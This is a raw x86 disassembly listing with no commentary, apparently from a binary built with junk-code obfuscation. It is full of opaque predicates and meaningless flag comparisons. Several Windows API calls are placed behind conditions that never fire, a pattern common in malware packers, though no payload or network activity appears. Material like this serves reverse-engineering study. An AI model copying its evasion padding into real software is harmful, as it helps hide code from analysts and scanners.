cmp dword [ebp - 0x84], 3
jg 0x464690
push 3
lea ecx, [ebp - 0x2794]
call fcn.0042dd3a
mov dword [ebp - 0x580], 0
jmp 0x46434d
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 3
jge 0x46436f
push dword [ebp - 0x580]
lea ecx, [ebp - 0x2794]
call fcn.0042de28
mov dword [eax], 0xfffffff9
jmp 0x464340
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x914], 0
jne 0x4643e0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x84]
jg 0x46439d
mov dword [ebp - 0x1bd0], 1
jmp 0x4643a4
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0x1bd0]
sub eax, dword [ebp - 8]
add eax, 7
jne 0x4643be
mov dword [ebp - 0xd20], 1
jmp 0x4643c5
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
cmp dword [ebp - 0xd20], eax
jl 0x4643e0
and dword [ebp - 0x1bd8], 0
jmp 0x4643ea
mov dword [ebp - 0x1bd8], 1
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
cmp dword [ebp - 0x1bd8], eax
je 0x464408
mov dword [ebp - 0xd28], 1
jmp 0x46440f
and dword [ebp - 0xd28], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x914]
cmp dword [ebp - 0xd28], eax
jge 0x464430
mov dword [ebp - 0x1be0], 1
jmp 0x464437
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1be0], eax
jle 0x46445e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x914], 0
je 0x46445e
mov dword [ebp - 0xd30], 1
jmp 0x464465
and dword [ebp - 0xd30], 0
imul eax, dword [ebp - 0xd30], 0xffff
test eax, eax
ja 0x46447f
mov dword [ebp - 0x1be8], 1
jmp 0x464486
and dword [ebp - 0x1be8], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1be8], eax
jle 0x46449d
mov dword [ebp - 0xd38], 1
jmp 0x4644a4
and dword [ebp - 0xd38], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xd38], eax
jl 0x4644bb
mov dword [ebp - 0x1bf0], 1
jmp 0x4644c2
and dword [ebp - 0x1bf0], 0
mov eax, dword [ebp - 0x1bf0]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0x57b790eb
jne 0x4644e6
mov dword [ebp - 0xd40], 1
jmp 0x4644ed
and dword [ebp - 0xd40], 0
cmp dword [ebp - 0xd40], 1
je 0x46450c
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x914], 0
jne 0x46450c
and dword [ebp - 0x1bf8], 0
jmp 0x464516
mov dword [ebp - 0x1bf8], 1
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
cmp eax, dword [ebp - 0x1bf8]
je 0x464534
mov dword [ebp - 0xd48], 1
jmp 0x46453b
and dword [ebp - 0xd48], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x914]
add eax, dword [ebp - 0xd48]
jne 0x464562
cmp dword [ebp - 0x100], 0
jne 0x464562
and dword [ebp - 0x1c00], 0
jmp 0x46456c
mov dword [ebp - 0x1c00], 1
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
cmp dword [ebp - 0x1c00], eax
jne 0x46458a
mov dword [ebp - 0xd50], 1
jmp 0x464591
and dword [ebp - 0xd50], 0
push 0
lea ecx, [ebp - 0x2794]
call fcn.0042de28
mov ecx, dword [ebp - 0xd50]
cmp ecx, dword [eax]
jl 0x4645b4
mov dword [ebp - 0x1c08], 1
jmp 0x4645bb
and dword [ebp - 0x1c08], 0
cmp dword [ebp - 0x1c08], 0xfffffffc
jl 0x4645d0
mov dword [ebp - 0xd58], 1
jmp 0x4645d7
and dword [ebp - 0xd58], 0
push 0
lea ecx, [ebp - 0x2794]
call fcn.0042de28
mov ecx, dword [ebp - 0xd58]
sub ecx, dword [eax]
jne 0x4645fe
push 8
pop eax
test eax, eax
jne 0x4645fe
and dword [ebp - 0x1c10], 0
jmp 0x464608
mov dword [ebp - 0x1c10], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1c10], eax
jne 0x46461f
mov dword [ebp - 0xd60], 1
jmp 0x464626
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xd60], eax
jne 0x46463d
mov dword [ebp - 0x1c18], 1
jmp 0x464644
and dword [ebp - 0x1c18], 0
push 2
lea ecx, [ebp - 0x25c8]
call fcn.0042de28
mov ecx, dword [ebp - 0x1c18]
sub ecx, dword [eax]
cmp ecx, 0x6852
jle 0x46466d
mov dword [ebp - 0xd68], 1
jmp 0x464674
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0xd68]
mov dword [ebp - 0x24e0], eax
lea ecx, [ebp - 0x2794]
call fcn.0042de0c
jmp 0x46430d
jmp 0x4640b5
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 8], eax
jmp 0x46408b
mov dword [ebp - 0x100], 0
jmp 0x4646bc
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 7
je 0x464841
mov dword [ebp - 0x754], 7
cmp dword [ebp - 0x994], 0xffffffff
jne 0x4646e8
mov dword [ebp - 0xd78], 1
jmp 0x4646ef
and dword [ebp - 0xd78], 0
push 2
lea ecx, [ebp - 0x25c8]
call fcn.0042de28
cmp dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x754], eax
jg 0x46471d
mov dword [ebp - 0x1c20], 1
jmp 0x464724
and dword [ebp - 0x1c20], 0
cmp dword [ebp - 0x1c20], 0xa0e8
jl 0x46473c
mov dword [ebp - 0xd70], 1
jmp 0x464743
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x1c28], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1c28]
mov dword [ebp + eax - 0x2bc4], ecx
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x1c28], eax
je 0x464788
mov dword [ebp - 0x1c30], 1
jmp 0x46478f
and dword [ebp - 0x1c30], 0
mov eax, dword [ebp - 0xd78]
add eax, dword [ebp - 0x1c30]
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0xd80]
cmp dword [ebp - 0x754], eax
jl 0x4647c4
cmp dword [ebp - 0x754], 0
je 0x4647c4
mov dword [ebp - 0x1c38], 1
jmp 0x4647cb
and dword [ebp - 0x1c38], 0
mov eax, dword [ebp - 0x1c38]
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0x2e68], eax
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x2e70], eax
cmp dword [ebp - 0x994], 1
je 0x464804
mov dword [ebp - 0x1c40], 1
jmp 0x46480b
and dword [ebp - 0x1c40], 0
cmp dword [ebp - 0x1c40], 1
jbe 0x464826
cmp dword [ebp - 0x588], 0
jne 0x464826
and dword [ebp - 0xd90], 0
jmp 0x464830
mov dword [ebp - 0xd90], 1
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x24e8], eax
jmp 0x4646af
lea ecx, [ebp - 0x25c8]
call fcn.0042de0c
push 3
lea ecx, [ebp - 0x3140]
call fcn.0042dd3a
mov dword [ebp - 0x94], 0x730f94f3
mov dword [ebp - 0x297c], 0xfffffffb
mov dword [ebp - 0x2978], 0xfffffffb
mov dword [ebp - 0x2974], 0xfffffffb
mov dword [ebp - 0x2970], 0xfffffffb
lea ecx, [ebp - 0x969]
call fcn.0042de37
push eax
lea eax, [ebp - 0x296c]
push eax
lea eax, [ebp - 0x297c]
push eax
lea ecx, [ebp - 0x3700]
call fcn.0042de3a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2aac]
call fcn.0042dde6
mov dword [ebp - 0x24f0], 0x23fa3a92
mov dword [ebp - 0x24f8], 0xf8d9a2b8
mov dword [ebp - 0x8e0], 0
jmp 0x4648ed
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 3
jge 0x464909
mov eax, dword [ebp - 0x8e0]
mov dword [ebp + eax*4 - 0x20d8], 0xec2e0cf5
jmp 0x4648e0
mov dword [ebp - 0x94], 0
jmp 0x464922
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jg 0x464ac1
mov dword [ebp - 0x2500], 0x6aac8953
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x20d8]
mov dword [ebp - 0x1c48], eax
push 1
lea ecx, [ebp - 0x2aac]
call fcn.0042de28
mov ecx, dword [ebp - 0x1c48]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c48]
mov dword [ebp - 0x24f0], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x20d8]
mov dword [ebp - 0x2e78], eax
mov eax, 0x329b
sub eax, dword [ebp - 0x24f8]
je 0x4649a2
mov eax, 0x5ee4c20f
test eax, eax
je 0x4649a2
mov dword [ebp - 0xd98], 1
jmp 0x4649a9
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xd98], eax
jle 0x4649c3
mov dword [ebp - 0x1c50], 1
jmp 0x4649ca
and dword [ebp - 0x1c50], 0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x20d8]
cmp dword [ebp - 0x1c50], eax
jge 0x4649eb
mov dword [ebp - 0xda0], 1
jmp 0x4649f2
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x20d8]
cmp dword [ebp - 0xda0], eax
jge 0x464a13
mov dword [ebp - 0x1c58], 1
jmp 0x464a1a
and dword [ebp - 0x1c58], 0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x20d8]
cmp dword [ebp - 0x1c58], eax
jle 0x464a3b
mov dword [ebp - 0xda8], 1
jmp 0x464a42
and dword [ebp - 0xda8], 0
push 1
lea ecx, [ebp - 0x2aac]
call fcn.0042de28
imul eax, dword [eax], 0xfff6
imul eax, dword [ebp - 0xda8]
mov ecx, dword [ebp - 0x94]
cmp eax, dword [ebp + ecx*4 - 0x20d8]
je 0x464a77
mov dword [ebp - 0x1c60], 1
jmp 0x464a7e
and dword [ebp - 0x1c60], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1c60], eax
jg 0x464a98
mov dword [ebp - 0xdb0], 1
jmp 0x464a9f
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0xdb0]
mov dword [ebp - 0x2500], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x20d8], 0
je 0x464abc
jmp 0x464ac1
jmp 0x464915
mov byte [ebp - 0x268], 0
movzx eax, byte [ebp - 0x268]
test eax, eax
je 0x464ae2
push 0x1d72
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea ecx, [ebp - 0x2aac]
call fcn.0042de0c
push 1
lea ecx, [ebp - 0x3120]
call fcn.0042dd3a
mov dword [ebp - 0x75c], 0x2c70bb74
mov dword [ebp - 0x590], 0
jmp 0x464b1d
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 1
jge 0x464b3f
push dword [ebp - 0x590]
lea ecx, [ebp - 0x3120]
call fcn.0042de28
mov dword [eax], 0x2062
jmp 0x464b10
mov byte [ebp - 0x35a], 0
movzx eax, byte [ebp - 0x35a]
test eax, eax
je 0x464b75
push 0x186e
push 0
push 0
push 0x804
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x75c], 0
jmp 0x464b8e
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0
jg 0x464bc1
mov byte [ebp - 0x26a], 0
movzx eax, byte [ebp - 0x26a]
test eax, eax
je 0x464bbf
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x464b81
lea ecx, [ebp - 0x3120]
call fcn.0042de0c
mov dword [ebp - 0x598], 0
jmp 0x464be5
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 3
jge 0x464c04
push dword [ebp - 0x598]
lea ecx, [ebp - 0x3140]
call fcn.0042de28
and dword [eax], 0
jmp 0x464bd8
mov dword [ebp - 0xb98], 0xc7555b7c
mov dword [ebp - 0xb94], 0xc7555b7c
mov dword [ebp - 0xb90], 0xc7555b7c
mov dword [ebp - 0xb8c], 0xc7555b7c
mov dword [ebp - 0xdb8], 0x41b44adc
push 2
lea ecx, [ebp - 0x20c0]
call fcn.0042dd3a
mov dword [ebp - 0xdc8], 0xfffffff8
mov dword [ebp - 0x138], 0
jmp 0x464c66
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 2
jge 0x464c88
push dword [ebp - 0x138]
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
mov dword [eax], 0x50678e0
jmp 0x464c59
mov dword [ebp - 0x138], 0
jmp 0x464ca1
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 4
jge 0x464cbd
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x36e8], 0
jmp 0x464c94
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb98]
cmp dword [ebp + eax - 0xb98], ecx
je 0x464cf5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb98], 0
je 0x464cf5
mov dword [ebp - 0x1c68], 1
jmp 0x464cfc
and dword [ebp - 0x1c68], 0
cmp dword [ebp - 0x1c68], 5
ja 0x464d11
mov dword [ebp - 0x2508], 1
jmp 0x464d18
and dword [ebp - 0x2508], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xb98]
mov dword [ebp - 0x2e80], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xb98]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdb8]
mov dword [ebp - 0x1c70], eax
push 0
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
mov ecx, dword [ebp - 0x1c70]
mov dword [eax], ecx
cmp dword [ebp - 0x1c70], 0xfffffff8
jl 0x464d74
mov dword [ebp - 0xdc0], 1
jmp 0x464d7b
and dword [ebp - 0xdc0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb98]
cmp dword [ebp - 0xdc0], eax
jge 0x464dae
push 0
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
cmp dword [eax], 0
je 0x464dae
mov dword [ebp - 0x1c78], 1
jmp 0x464db5
and dword [ebp - 0x1c78], 0
mov eax, dword [ebp - 0x1c78]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0xdc8], 0
jne 0x464dda
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb98], 0
je 0x464def
mov eax, 0x4a71
test eax, eax
je 0x464def
mov dword [ebp - 0x1c80], 1
jmp 0x464df6
and dword [ebp - 0x1c80], 0
mov eax, dword [ebp - 0x1c80]
neg eax
jne 0x464e0d
push 1
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
push 0
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
push 1
lea ecx, [ebp - 0x20c0]
call fcn.0042de28
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0xb98]
cmp dword [eax], ecx
jge 0x464e44
mov dword [ebp - 0xdd0], 1
jmp 0x464e4b
and dword [ebp - 0xdd0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb98]
cmp eax, dword [ebp - 0xdd0]
jne 0x464e6c
mov dword [ebp - 0x1c88], 1
jmp 0x464e73
and dword [ebp - 0x1c88], 0
cmp dword [ebp - 0x1c88], 0xfff9
jae 0x464e8b
mov dword [ebp - 0xdd8], 1
jmp 0x464e92
and dword [ebp - 0xdd8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
imul eax, dword [ebp - 0xdd8]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x36e8], eax
mov byte [ebp - 0x2f1], 0
movzx eax, byte [ebp - 0x2f1]
test eax, eax
je 0x464ed8
push 0
push 0x173c
push 0xa3d
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
lea ecx, [ebp - 0x20c0]
call fcn.0042de0c
mov dword [ebp - 0x99c], 0x8a6b
push 2
lea ecx, [ebp - 0x2adc]
call fcn.0042dd3a
mov dword [ebp - 0xb3c], 9
mov dword [ebp - 0xa84], 0x457d6700
mov dword [ebp - 0x9a4], 0x86524f20
mov dword [ebp - 0x2510], 0
mov dword [ebp - 0x83c], 0
jmp 0x464f3b
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 2
jge 0x464f5d
push dword [ebp - 0x83c]
lea ecx, [ebp - 0x2adc]
call fcn.0042de28
mov dword [eax], 0x1bf2b299
jmp 0x464f2e
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 0
je 0x464f87
cmp dword [ebp - 0xa84], 0
je 0x464f87
mov dword [ebp - 0x1c90], 1
jmp 0x464f8e
and dword [ebp - 0x1c90], 0
mov eax, dword [ebp - 0x99c]
imul eax, dword [ebp - 0x1c90]
cmp dword [ebp - 0xb3c], eax
jle 0x464faf
mov dword [ebp - 0xde0], 1
jmp 0x464fb6
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0xde0]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x9a4]
cmp dword [ebp - 0x99c], eax
jne 0x464fdc
mov dword [ebp - 0x1c98], 1
jmp 0x464fe3
and dword [ebp - 0x1c98], 0
cmp dword [ebp - 0x1c98], 0x95ed7c6a
jb 0x464ffb
mov dword [ebp - 0xde8], 1
jmp 0x465002
and dword [ebp - 0xde8], 0
cmp dword [ebp - 0xde8], 0
jge 0x465017
mov dword [ebp - 0xdf0], 1
jmp 0x46501e
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0x1ca0], eax
push 0
lea ecx, [ebp - 0x2adc]
call fcn.0042de28
mov ecx, dword [ebp - 0x1ca0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1ca0]
sub eax, dword [ebp - 0xdf0]
cmp eax, dword [ebp - 0xb3c]
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x2510], eax
lea ecx, [ebp - 0x2adc]
call fcn.0042de0c
mov byte [ebp - 0x35c], 0
push 2
lea ecx, [ebp - 0x500]
call fcn.0042dd3a
mov dword [ebp - 0x250], 0x1fd9d089
mov dword [ebp - 0x198], 1
mov dword [ebp - 0xb4], 0x721f7d96
mov dword [ebp - 0x2518], 0x177c422d
mov dword [ebp - 0x2770], 0xbb30732b
mov dword [ebp - 0x276c], 0xbb30732b
mov dword [ebp - 0x2768], 0xbb30732b
mov dword [ebp - 0x2764], 0xbb30732b
mov dword [ebp - 0x5a0], 0
jmp 0x4650e5
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 2
jge 0x465107
push dword [ebp - 0x5a0]
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov dword [eax], 1
jmp 0x4650d8
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov eax, dword [eax]
mov dword [ebp - 0x250], eax
mov esi, dword [ebp - 0x250]
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
add esi, dword [eax]
cmp esi, 0xb6917ab6
jne 0x46515f
mov dword [ebp - 0x1ca8], 1
jmp 0x465166
and dword [ebp - 0x1ca8], 0
cmp dword [ebp - 0x1ca8], 0x816f93bd
jne 0x46517e
mov dword [ebp - 0xdf8], 1
jmp 0x465185
and dword [ebp - 0xdf8], 0
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov ecx, dword [ebp - 0xdf8]
cmp ecx, dword [eax]
jg 0x4651a8
mov dword [ebp - 0x1cb0], 1
jmp 0x4651af
and dword [ebp - 0x1cb0], 0
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov ecx, dword [ebp - 0x1cb0]
cmp ecx, dword [eax]
jge 0x4651d2
mov dword [ebp - 0xe00], 1
jmp 0x4651d9
and dword [ebp - 0xe00], 0
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov ecx, dword [ebp - 0xe00]
cmp ecx, dword [eax]
je 0x4651fc
mov dword [ebp - 0x1cb8], 1
jmp 0x465203
and dword [ebp - 0x1cb8], 0
mov eax, dword [ebp - 0x1cb8]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 9
jg 0x465236
cmp dword [ebp - 0x250], 0
jne 0x465236
and dword [ebp - 0xe08], 0
jmp 0x465240
mov dword [ebp - 0xe08], 1
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov esi, dword [eax]
sub esi, dword [ebp - 0xe08]
push 0
lea ecx, [ebp - 0x500]
call fcn.0042de28
cmp esi, dword [eax]
jge 0x465281
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
cmp dword [eax], 0
jne 0x465281
and dword [ebp - 0x1cc0], 0
jmp 0x46528b
mov dword [ebp - 0x1cc0], 1
mov eax, dword [ebp - 0x1cc0]
mov dword [ebp - 0x2518], eax
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov eax, 0xabf7c2f5
test eax, eax
je 0x4652be
or eax, 0xffffffff
je 0x4652be
mov dword [ebp - 0xe10], 1
jmp 0x4652c5
and dword [ebp - 0xe10], 0
push 0
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov ecx, dword [ebp - 0xe10]
cmp ecx, dword [eax]
je 0x4657a0
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0xe20], 0x3547a058
mov dword [ebp - 0xa8c], 0xfffffff6
mov dword [ebp - 0x21e0], 5
mov dword [ebp - 0x21dc], 5
mov dword [ebp - 0x21d8], 5
mov dword [ebp - 0x21d4], 5
mov dword [ebp - 0x9ac], 0x298b2365
mov dword [ebp - 0x198], 0x17
jmp 0x465349
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 7
jle 0x46539a
mov dword [ebp - 0xb4], 0
jmp 0x46536b
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x46538d
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov dword [eax], 7
jmp 0x46535e
cmp dword [ebp - 0x250], 0
je 0x465398
jmp 0x46533c
jmp 0x46533c
xor eax, eax
sub eax, dword [ebp - 0x198]
je 0x4655d7
mov dword [ebp - 0x764], 0
jmp 0x4653c1
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 3
jge 0x4653dd
mov eax, dword [ebp - 0x764]
mov dword [ebp + eax*4 - 0x27ac], 0x984bbc18
jmp 0x4653b4
mov eax, dword [ebp - 0x250]
cmp dword [ebp - 0x42c], eax
jne 0x4653f7
mov dword [ebp - 0x1ce8], 1
jmp 0x4653fe
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0xb4]
sub eax, 0x131feead
jne 0x465417
mov dword [ebp - 0xe40], 0x1b53a2ad
mov dword [ebp - 0x1d00], 0xfffc
mov dword [ebp - 0x2538], 8
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x4656fb
mov eax, dword [ebp - 0xe40]
mov dword [ebp - 0x2e90], eax
cmp dword [ebp - 0xa8c], 0
jge 0x465621
mov dword [ebp - 0x1cf0], 1
jmp 0x465628
and dword [ebp - 0x1cf0], 0
mov eax, dword [ebp - 0x1d00]
cmp dword [ebp - 0x1cf0], eax
jl 0x465642
mov dword [ebp - 0x1cf8], 1
jmp 0x465649
and dword [ebp - 0x1cf8], 0
mov eax, dword [ebp - 0xe40]
imul eax, dword [ebp - 0x1cf8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2770]
jl 0x465671
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x1d08]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
sub eax, 0xfff8
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x21e0]
jge 0x465734
mov dword [ebp - 0xe58], 1
jmp 0x46573b
and dword [ebp - 0xe58], 0
cmp dword [ebp - 0xe58], 0xffffffff
jle 0x465750
mov dword [ebp - 0x1d10], 1
jmp 0x465757
and dword [ebp - 0x1d10], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21e0]
cmp dword [ebp - 0x1d10], eax
jg 0x465785
mov dword [ebp - 0x5a8], 0x825fc643
mov dword [ebp - 0xb0c], 1
mov dword [ebp - 0x1d20], 0
mov dword [ebp - 0x2548], 0xffffffff
cmp dword [ebp - 0x5a8], 0
je 0x4657e6
cmp dword [ebp - 0x5a8], 0
je 0x4657e6
mov dword [ebp - 0xe70], 1
jmp 0x4657ed
and dword [ebp - 0xe70], 0
cmp dword [ebp - 0x250], 0
je 0x465841
mov eax, dword [ebp - 0x5a8]
cmp dword [ebp - 0x5a8], eax
je 0x465810
mov dword [ebp - 0x1d18], 1
jmp 0x465817
and dword [ebp - 0x1d18], 0
mov eax, dword [ebp - 0xb0c]
inc eax
mov dword [ebp - 0xb0c], eax
mov eax, dword [ebp - 0xb0c]
imul eax, dword [ebp - 0x1d18]
test eax, eax
je 0x465841
mov dword [ebp - 0x2540], 1
jmp 0x465848
and dword [ebp - 0x2540], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2770]
mov dword [ebp - 0x2e98], eax
push 1
lea ecx, [ebp - 0x500]
call fcn.0042de28
mov ecx, dword [ebp - 0xb4]
cmp dword [eax], ecx
je 0x46587d
mov dword [ebp - 0xe68], 1
jmp 0x465884
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0xe68]
mov dword [ebp - 0x1d20], eax
mov eax, dword [ebp - 0x1d20]
imul eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xe70], eax
jl 0x4658b1
mov dword [ebp - 0x1d28], 1
jmp 0x4658b8
and dword [ebp - 0x1d28], 0
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x2548], eax
mov dword [ebp - 0x250], 0xf0e761d3
lea ecx, [ebp - 0x500]
call fcn.0042de0c
movzx eax, byte [ebp - 0x35c]
test eax, eax
je 0x4658ec
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x218], 0xffffffff
push 4
lea ecx, [ebp - 0x29ec]
call fcn.0042dd3a
mov dword [ebp - 0xe88], 0xec3d4e70
mov dword [ebp - 0x2550], 3
mov dword [ebp - 0x8ac], 0
jmp 0x465930
cmp dword [ebp - 0x8ac], 4
jge 0x46594f
cmp dword [ebp + 8], 1
jne 0x475b5b
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x21c], 0x46e74a6
mov dword [ebp - 0x80], 0x18
jmp 0x46dddf
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
je 0x46e494
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x2750], 0xfffffffc
mov dword [ebp - 0x274c], 0xfffffffc
mov dword [ebp - 0x2748], 0xfffffffc
mov dword [ebp - 0x2744], 0xfffffffc
mov dword [ebp - 0xe0], 1
mov dword [ebp - 0x232c], 0x6d35
mov dword [ebp - 0x804], 0
jmp 0x46de45
mov eax, dword [ebp - 0x804]
inc eax
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 1
jge 0x46de61
mov eax, dword [ebp - 0x804]
mov dword [ebp + eax*4 - 0xa3c], 1
jmp 0x46de38
cmp dword [ebp - 0x80], 0
je 0x46e059
cmp dword [ebp - 0x3c], 0x6c0e2632
jne 0x46de80
mov dword [ebp - 0xa34], 1
jmp 0x46de87
and dword [ebp - 0xa34], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa34]
mov dword [ebp + eax - 0x2750], ecx
cmp dword [ebp - 0xa34], 0
jne 0x46debb
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2750], 0
jne 0x46debb
and dword [ebp - 0x1528], 0
jmp 0x46dec5
mov dword [ebp - 0x1528], 1
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x1528]
jle 0x46dedc
